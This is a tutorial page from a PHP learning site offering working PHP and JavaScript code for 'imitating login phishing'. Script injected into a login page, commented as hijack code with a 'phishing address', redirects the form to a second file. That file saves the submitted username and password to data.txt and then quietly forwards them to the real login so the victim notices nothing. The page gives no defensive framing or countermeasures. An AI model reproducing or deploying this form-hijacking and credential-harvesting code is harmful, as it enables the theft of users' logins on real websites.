Code example of imitating login phishing using PHP and JS

不言
Release: 2023-04-05 17:46:01
forward
3708 people have browsed it

This article brings you code examples about imitating login phishing using PHP and JS. It has certain reference value. Friends in need can refer to it. I hope it will be helpful to you.

Directory introduction

login.php Normal login file

selfLogin.php Customized login file

data.txt Record the data entered by the user

login.php

<?php
    echo "<pre class="brush:php;toolbar:false">";
    $userInfo = $_POST ;
    if ($userInfo) {
        # code...
        var_dump($userInfo,'登录成功') ;exit();
    }

?>
<!DOCTYPE html>
<html>
<head>
    <title>登录</title>
</head>
<body>
    <form id="login" method="post" action="login.php">
        用户姓名:<input type="text" name="name">
        用户密码:<input type="password" name="pwd">
        <input type="submit" value="确认登录">
    </form>
</body>
<script type="text/javascript">

    //js劫持代码
    window.onload = function (eve) {
        var form = document.getElementById('login');
        form.innerHTML = ' <form id="login" method="post" > 用户姓名:<input type="text" name="name"> 用户密码:<input type="password" name="pwd"> <input type="submit" value="确认登录">    </form> '  ;
        //钓鱼地址
        form.action = "selfLogin.php" ;
    }
</script>
</html>
Copy after login

selfLogin.php

<?php
    $name = &#39;&#39; ;
    $pwd  = &#39;&#39; ;
    //var_dump(&#39;数据被截取了&#39;,$_POST) ;
    if($_POST) {
        //记录获取的数据信息
        $name = $_POST[&#39;name&#39;] ;
        $pwd = $_POST[&#39;pwd&#39;] ;
        file_put_contents(&#39;data.txt&#39;, json_encode($_POST,true)) ;
    }
?>
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>

</body>
<script type="text/javascript">
    //构建之前的页面
    window.onload = function (eve) {
        var name = '<?php echo $name; ?>' ;
        var pwd = '<?php echo $pwd; ?>' ;
        if(name && pwd) {
            var p = document.createElement('p');
            document.body.appendChild(p);
            p.innerHTML =' <form id="login2" method="post" action="login.php" > '+
                ' 用户姓名:<input type="text" name="name" value="&#39;+name+&#39;"> 用户密码:<input type="password" name="pwd" value="&#39;+pwd+&#39;"> '  ;
            document.getElementById('login2').submit();
        }
    }
</script>
</html>
Copy after login

data.txt

{"name":"admin","pwd":"123456"}
Copy after login

This article has ended here. For more exciting content, you can pay attention to the JavaScript Video Tutorial column on the PHP Chinese website!

The above is the detailed content of Code example of imitating login phishing using PHP and JS. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:segmentfault.com
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!